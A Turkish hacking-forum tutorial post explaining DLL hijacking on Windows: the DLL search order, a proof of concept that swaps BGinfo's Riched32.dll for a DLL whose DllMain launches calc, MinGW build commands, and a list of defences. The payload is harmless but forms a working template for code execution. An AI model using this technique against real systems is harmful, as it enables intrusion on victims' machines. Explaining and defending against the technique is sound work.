Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Tersine Mühendislik

Tersine Mühendislik Reverse Engineering ve Cracking ile ilgili dökümanları bulabileceğiniz, CrackMe gibi uygulamaların paylaşıldığı bölüm.



DLL Hijacking Nedir ?

Tersine Mühendislik

Yeni Konu aç Cevapla
 
Seçenekler
Alt 30-11-2018 23:34   #1
  • Analiz Ekibi Sorumlusu
  • Üye Bilgileri
Üyelik tarihi
09/2016
Mesajlar
Konular

Teşekkür (Etti): 57
Teşekkür (Aldı): 1106


DLL Hijacking Nedir ?



Merhaba arkadaşlar. Bu yazımda DLL Hijacking saldırısının ne olduğunu, nasıl korunacağımızı ve nasıl yapıldığını inceleyeceğiz. Öncelikle DLL kavramının ne olduğunu öğrenerek başlayalım.



DLL Nedir ?

DLL, Dynamic Link Library’ nin baş harfleri kullanılarak oluşturulan bir kısaltmadır. Türkçe karşılığı ise Dinamik Link Kütüphanesi dir. DLL dosyalarının uzantısı .dll dir.
Microsoft tarafından geliştirilen DLL dosyalarının amacı, birden çok programın aynı işlemi yapmak için kullandığı fonksiyonları tek dosyada birleştirmektir. Program için gerekli olan fonksiyonların önce kendi içinde araması, bulamazsa dinamik link kütüphanesi’ nde yani DLL dosyasına aramasıdır.

Böylelikle her fonksiyonu farklı dosyadan almak yerine tek dosyadan alması programın kullandığı bellek boyutunu en aza indirerek programın ve bilgisayarın daha hızlı çalışmasını sağlar.


DLL Hijacking Nedir ?

Windows üzerinde çalışan programların ihtiyaç duyduğu DLL dosyalarını arama ve yükleme işlemlerinde ortaya çıkan bir zafiyettir. Programlar gerekli olan DLL dosyalarının tam yolunu belirtmezlerse Windows DLL yi belli bir sıralama ile arayacaktır. Öncelikli olarak Windows uygulamanın ilk yüklendiği dizini arar. Kötü niyetli kişi (hacker) daha önceden kullanılacak DLL yolunu tespit eder ve kendi hazırladığı DLL dosyası ile değiştirir ise hacker amacına ulaşmış olur. Sisteme sızma işlemini gerçekleştirmiş olur ve DLL Hijacking zafiyet gerçekleşmiş olur.
DLL Hijacking zafiyeti daha çok karşı taraftan size gönderilen Word, Powerpoint, Windows programları vb gibi dosyalarla size bulaşır. Eğer gönderilen dosyayı açarsanız harici bir DLL doyası yüklenir ise hacker’ in bilgisayarınıza uzaktan erişim sağlamasına yol açmış olursunuz. Günümüzde eskisi kadar kullanılmasa da hala kullanan kişiler mevcut.


DLL Arama Mantığı Nasıl ?

Windows önce programın yüklendiği dizinde arama yapar sonra diğer dizinlere geçer. Bundan daha önceden bahsetmiştim. Şimdi tam anlamıyla Windows DLL ararken hangi mantığı izlediğini aşağıdan öğrenebilirsiniz.
  • - Programın yüklendiği dizin
  • - C: \ Windows \ System32
  • - C: \ Windows \ System
  • - C: \ Windows
  • - Geçerli çalışma dizini
  • - PATH ortam değişkeni sistemindeki dizinler
  • - Kullanıcı PATH ortam değişkenindeki dizinler

Uygulama klasörü sistem klasörlerinden daha yüksek önceliğe sahip olduğundan eğer bir uygulama, sistem DLL' lerini kullanma maksadıyla kurulduysa, bir saldırgan kurulum dizininde bir DLL yerleştirebilir (ki varsayılanı C:\Program Files dizinidir) ve kod yürütebilir.





DLL Hijacking Örneği:


Şimdi de örnek olarak bir DLL hijacking uygulaması yapalım. Hedef uygulama olarak BGinfo uygulamasını seçiyorum. BGinfo uygulamasının çalışması için gerekli olan DLL Riched32.dll dosyasıdır. Biz Riched32.dll dosyası kendi yaptığımız zararlı DLL dosyası ile değiştirirsek ve BGinfo uygulaması ile aynı dizinde olursa Windows arama mantığından dolayı diğer dizinlere geçmeden ilk olarak uygulamanın bulunduğu dizine bakacaktır. Bundan dolayı bizim yerleştirdiğimiz zararlı DLL dosyası çalışacak ve sistem üzerinde uzaktan kod çalıştırma yetkisine sahip olacağız.

Windows 8.1 Pro makinemde bginfo.exe yüklendiğinde göründüğü gibi:



Oluşturduğum "kötü amaçlı" Riched32.dll aşağıdaki kodu kullanarak yaptım:

Kod:
#include <windows.h>
int fireLazor()
{
 WinExec("calc", 0);
 return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LP**** lpvReserved)
{
 fireLazor();
 return 0;
}
Kodları bir main.cpp dosyasına kaydederek Linux'ta derlenebilir (ben de Fedora'da yapmıştım). Derleme işlemi için gereken komutlar aşağıdadır:

Kod:
i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
i686-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
Ancak, bunu yapmak için Mingw32'ye ihtiyacınız olacak. Sistemde yüklü olarak gelmeyenler, aşağıdaki komutu kullanarak yükleyebilirsiniz.

Kod:
sudo dnf install mingw32-gcc-c++.x86_64
Ayrıca ihtiyacınız olacak
sudo dnf install mingw32-winpthreads*
Derleme komutları main.dll adlı bir dosya oluşturacak ve istediğiniz gibi yeniden adlandırabilirsiniz. DLL yüklendiğinde, calc.exe'nin çalışmasına neden olacak, bu komutun yürütülmesinin mümkün olduğunu ve DLL Hijacking işleminin başarılı olduğunu gösterecektir.

DLL Hijacking Saldırılarına Karşı Korunma Yolları:
  • DLL Hijacking saldırısından korunmanın en iyi yolu tam, net, kesin bir DLL dosyası yolu belirtmektir. Harici kütüphaneler dahil ederken güvenli bir şekilde dahil edilmelidir.
  • Okuma, yazma izinlerini kontrol etmek.
  • Ağ paylaşımlarından kütüphanelerin yüklenmesini devre dışı bırakmak.
  • WebClient servisini devre dışı bırakmak.
  • Frewall ile 139. ve 445. portları engellemek.
  • Güncellemeleri ve patchleri sürekli olarak yüklemek.



___________________________________________

Nûn kadar suskun,
Vâv kadar edebli olabilmeli,
insan...

Konu SeNZeRo tarafından (01-12-2018 00:53 Saat 00:53 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Teşekkür

Phemis, rynduse Teşekkür etti.
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau